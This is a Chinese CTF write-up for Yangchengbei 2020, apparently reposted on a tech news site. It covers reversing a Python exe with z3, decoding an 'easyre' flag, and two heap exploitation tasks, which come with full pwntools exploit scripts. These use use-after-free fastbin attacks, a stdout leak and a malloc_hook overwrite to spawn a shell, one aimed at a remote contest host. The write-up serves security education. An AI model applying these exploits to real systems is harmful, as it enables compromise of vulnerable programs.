羊城杯2020部分wp

微信扫一扫,分享到朋友圈

羊城杯2020部分wp

Python exe的逆向。其中在修复pyc时,个人不是很熟悉,记录一下:

在脱去以后,会有主程序,跟一个struct的文件。

要保证主程序与struct的前面的魔法字节是相同一样的。

重点关注前16个字节,保证相同即可。

修复好pyc后,就可以进行反编译。

剩下的就是逆算法,需要用到z3。

exp

#!/usr/bin/env python2.7
from z3 import *
'''
a1 = Int('a1')
a2 = Int('a2')
a3 = Int('a3')
a4 = Int('a4')
a5 = Int('a5')
a6 = Int('a6')
a7 = Int('a7')
a8 = Int('a8')
a9 = Int('a9')
a10 = Int('a10')
a11 = Int('a11')
a12 = Int('a12')
a13 = Int('a13')
a14 = Int('a14')
s.add(a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5 + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36 + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60 + a14 * 29 == 22748)
s.add(a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25 + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66 + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39 + a14 * 17 == 7258)
s.add(a1 * 28 + a2 * 35 + a3 * 16 - a4 * 65 + a5 * 53 + a6 * 39 + a7 * 27 + a8 * 15 - a9 * 33 + a10 * 13 + a11 * 101 + a12 * 90 - a13 * 34 + a14 * 23 == 26190)
s.add(a1 * 23 + a2 * 34 + a3 * 35 - a4 * 59 + a5 * 49 + a6 * 81 + a7 * 25 + a8 * (2 ** 7) - a9 * 32 + a10 * 75 + a11 * 81 + a12 * 47 - a13 * 60 + a14 * 29 == 37136)
s.add(a1 * 38 + a2 * 97 + a3 * 35 - a4 * 52 + a5 * 42 + a6 * 79 + a7 * 90 + a8 * 23 - a9 * 36 + a10 * 57 + a11 * 81 + a12 * 42 - a13 * 62 - a14 * 11 == 27915)
s.add(a1 * 22 + a2 * 27 + a3 * 35 - a4 * 45 + a5 * 47 + a6 * 49 + a7 * 29 + a8 * 18 - a9 * 26 + a10 * 35 + a11 * 41 + a12 * 40 - a13 * 61 + a14 * 28 == 17298)
s.add(a1 * 12 + a2 * 45 + a3 * 35 - a4 * 9 - a5 * 42 + a6 * 86 + a7 * 23 + a8 * 85 - a9 * 47 + a10 * 34 + a11 * 76 + a12 * 43 - a13 * 44 + a14 * 65 == 19875)
s.add(a1 * 79 + a2 * 62 + a3 * 35 - a4 * 85 + a5 * 33 + a6 * 79 + a7 * 86 + a8 * 14 - a9 * 30 + a10 * 25 + a11 * 11 + a12 * 57 - a13 * 50 - a14 * 9 == 22784)
s.add(a1 * 8 + a2 * 6 + a3 * 64 - a4 * 85 + a5 * 73 + a6 * 29 + a7 * 2 + a8 * 23 - a9 * 36 + a10 * 5 + a11 * 2 + a12 * 47 - a13 * 64 + a14 * 27 == 9710)
s.add(a1 * 67 - a2 * 68 + a3 * 68 - a4 * 51 - a5 * 43 + a6 * 81 + a7 * 22 - a8 * 12 - a9 * 38 + a10 * 75 + a11 * 41 + a12 * 27 - a13 * 52 + a14 * 31 == 13376)
s.add(a1 * 85 + a2 * 63 + a3 * 5 - a4 * 51 + a5 * 44 + a6 * 36 + a7 * 28 + a8 * 15 - a9 * 6 + a10 * 45 + a11 * 31 + a12 * 7 - a13 * 67 + a14 * 78 == 24065)
s.add(a1 * 47 + a2 * 64 + a3 * 66 - a4 * 5 + a5 * 43 + a6 * 112 + a7 * 25 + a8 * 13 - a9 * 35 + a10 * 95 + a11 * 21 + a12 * 43 - a13 * 61 + a14 * 20 == 27687)
s.add(a1 * 89 + a2 * 67 + a3 * 85 - a4 * 25 + a5 * 49 + a6 * 89 + a7 * 23 + a8 * 56 - a9 * 92 + a10 * 14 + a11 * 89 + a12 * 47 - a13 * 61 - a14 * 29 == 29250)
s.add(a1 * 95 + a2 * 34 + a3 * 62 - a4 * 9 - a5 * 43 + a6 * 83 + a7 * 25 + a8 * 12 - a9 * 36 + a10 * 16 + a11 * 51 + a12 * 47 - a13 * 60 - a14 * 24 == 15317)
if s.check() == sat:
result = s.model()
print result
'''
'''
[a2 = 24,
a13 = 88,
a6 = 43,
a9 = 52,
a14 = 33,
a5 = 104,
a12 = 74,
a7 = 28,
a1 = 119,
a10 = 108,
a11 = 88,
a8 = 91,
a4 = 7,
a3 = 10]
'''
key = [10,24,119,7,104,43,28,91,108,52,88,74,88,33]
flag = ' '
for i in range(13,0,-1):
key[i-1] = key[i] ^ key[i - 1]
flag += chr(key[i-1])
flag = flag[::-1]
flag += chr(33)
print(flag)

其中在z3中处理逻辑运算时,是很特殊的,这个需要注意,具体可以看z3的官方文档。

可以参考:

https://arabelatso.github.io/2018/06/14/Z3%20API%20in%20Python/

还有遇到逻辑左移右移:

1. “>>”
int x = 16; printf("%d\n", x >> 1);
先将x转成二进制 10000, 不读最后一位, 输出 1000, 即为8;
右移一位相当于数值除以2
2. “<<”
int x = 16; printf("%d\n", x << 1);
先将x转成二进制 10000, 往最后再读取一位(0, 或根据是否已经有移位), 输出 100000, 即为32;
左移,若移动位数K等于或大于数据长度N,通常只移动K mod N 位数
左移一位相当于数值乘以2

在这里是左移7,也就是乘 2 的7次方。

easyre

分析

3层加密.

  • 一个base64
  • 一个以13字节,分割字符,进行移位
  • 单字节凯撒加密,但是也加入了对数字的处理

exp

import base64
key = 'EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG'
key = [ord(c) for c in key]
buf = [0]*52
for i in range(len(key)):
if key[i] > 64 and key[i] <=90:
buf[i] = (key[i] - 65 - 3) % 26 + 65
continue
if key[i] > 96 and key[i] <=122:
buf[i] =  (key[i] - 97 - 3) % 26 + 0x61
continue
if key[i] > 47 and key[i] <=57:
buf[i] = (key[i] - 48 - 3) % 10 + 48
continue
buf[i] = key[i]
buf = [chr(c) for c in buf]
key2 = ''
for i in buf:
key2 += i
key2 = key2[13:26] + key2[39:52] + key2[:13] + key2[26:39]
flag = base64.b64decode(key2)
print(flag)

pwn

sing in

入门堆题,存在uaf,进行 fastbin attcak 即可。

exp

from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
io = process(local_file)
libc = elf.libc
else:
io = remote('183.129.189.60',10029)
libc = elf.libc
#libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
s      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
# gdb.attach(proc.pidof(io)[0],gdbscript='b main')
gdb.attach(io)
pause()
def add(size,name,mes):
sla('Your choice :','1')
sla('size',str(size))
sa('name',str(name))
sla('mes',str(mes))
def show():
sla('Your choice :','2')
def free(idx):
sla('Your choice :','3')
sla('index:',str(idx))
payload = 'a' * 0x60
mes = 'b' * 23
add(0x100,payload,mes)
add(0x60,payload,mes)
free(0)
add(0x60,' ',mes)
show()
ru("Game[2]'s name :")
libc_base = uu64(r(6)) - 0x3c4b20
info_addr('libc_base',libc_base)
free(2)
free(1)
free(2)
malloc_hook = libc_base + 0x3c4aed
add(0x60,p64(malloc_hook),p64(malloc_hook))
add(0x60,p64(malloc_hook),p64(malloc_hook))
add(0x60,p64(malloc_hook),p64(malloc_hook))
one = 0x4527a + libc_base
payload = '1' * 11 + p64(0) + p64(one)
add(0x60,payload,payload)
itr()

其中可以申请一个堆,进行getshell,也可以同时2次free同一个chunk,触发报错函数,而调用报错函数的时候又会用到 malloc_hook ,从而getshell。

babypwn

程序分析

  • 只有add和del功能
  • 存在uaf
  • 只能申请<0x70的堆块

前置技能

需要利用scanf函数来触发 malloc_consolidate ,使 相邻fastbin堆块 进行合并,并放入unsortedbin的 队列。

参考链接:

https://www.anquanke.com/post/id/176139

https://blog.csdn.net/plus_re/article/details/79265805

malloc_consolidate 具体步骤如下:

  1. 判断fastbin是否初始化,如果未初始化,则进行初始化然后退出。
  2. 按照fastbin由小到大的顺序(0x20 ,0x30 ,0x40这个顺序)合并chunk,每种相同大小的fastbin中chunk的处理顺序是从fastbin->fd开始取,下一个处理的是p->fd,依次类推。
  3. 首先尝试合并 pre_chunk
  4. 然后尝试合并 next_chunk :如果 next_chunktop_chunk ,则直接合并到 top_chunk ,然后进行第六步;如果 next_chunk 不是 top_chunk ,尝试合并。
  5. 将处理完的chunk插入到unsorted bin头部。
  6. 获取下一个空闲的fastbin,回到第二步,直到清空所有fastbin中的chunk,然后退出。

攻击思路

  • 利用scanf函数来触发 malloc_consolidate ,使 相邻fastbin堆块 进行合并,并放入unsortedbin的 队列,在堆上留下libc的相关地址
  • 利用fastbin attack ,打 __IO_2_1_stdout ,泄漏libc
  • 利用fastbin attack ,打 malloc_hook

难点在申请堆块的数量,题目限制了19个,是刚刚够用。

exp

from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 1
if debug:
io = process(local_file)
libc = elf.libc
else:
io = remote('node3.buuoj.cn',27411)
libc = elf.libc
#libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
s      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
# gdb.attach(proc.pidof(io)[0],gdbscript='b main')
gdb.attach(io)
pause()
def add(size,name,mes):
sla('Your choice :','1')
sla('size',str(size))
sa("game's name:",str(name))
sla('mes',str(mes))
def free(idx):
sla('Your choice :','2')
sla('index:',str(idx))
def leak_addr():
payload = 'a' * 0x28
mes = '2' * 23
add(0x28,payload,mes) #0
add(0x28,payload,mes) #1
add(0x28,payload,mes) #2
free(0)
free(1)
free(2)
add(0x68,payload,mes) #3
add(0x68,payload,mes) #4
add(0x68,payload,mes) #5
add(0x68,payload,mes) #6
free(3)
free(4)
free(5)
# debug()
sla('Your choice :','2')
sl('1'*0x500)
free(0)
free(1)
free(2)
add(0x68,p16(0xb5dd),'1') #7
add(0x68,p16(0xb5dd),'1') #8
free(6)
free(7)
free(6)
add(0x68,p8(0x90),'1') #9
add(0x68,'1','1') #10
add(0x68,'1','1') #11
add(0x68,'1','1') #12
payload = 'b' * 0x33 + p64(0xfbad3c80) + p64(0) * 3 + p8(0)
sla('Your choice :','1')
sla('size','104') #13
sa('name',payload)
leak = 0
while True:
try:
leak_addr()
ss = io.recvuntil(chr(0x7f),timeout = 0.5)
if len(ss) == 0:
raise Exception('')
io.recv(10)
leak = uu64(r(6))
if leak == 0x7ff81b57b6a3:
raise Exception('')
break
except Exception:
io.close()
io = process('./pwn')
# io = remote('39.101.184.181',10000)
continue
info_addr('leak',leak)
libc_addr = leak - 0x3c56a3
info_addr('libc_base',libc_addr)
ru('age')
sl('1')
free(10)
free(11)
free(10)
malloc_hook = 0x3c4aed + libc_addr
add(0x68,p64(malloc_hook),'1')
add(0x68,'1','1')
add(0x68,'1','1')
one_rec = 0xf0364 + libc_addr
payload = '1' * (0x13-8) + p64(0)+ p64(one_rec)
add(0x68,payload,'1')
free(6)
free(6)
itr()

微信扫一扫,分享到朋友圈

羊城杯2020部分wp

Edge新增密码生成功能:向用户推荐强密码

上一篇

Chrome标签组功能现已向所有用户开放

下一篇

你也可能喜欢

羊城杯2020部分wp

长按储存图像,分享给朋友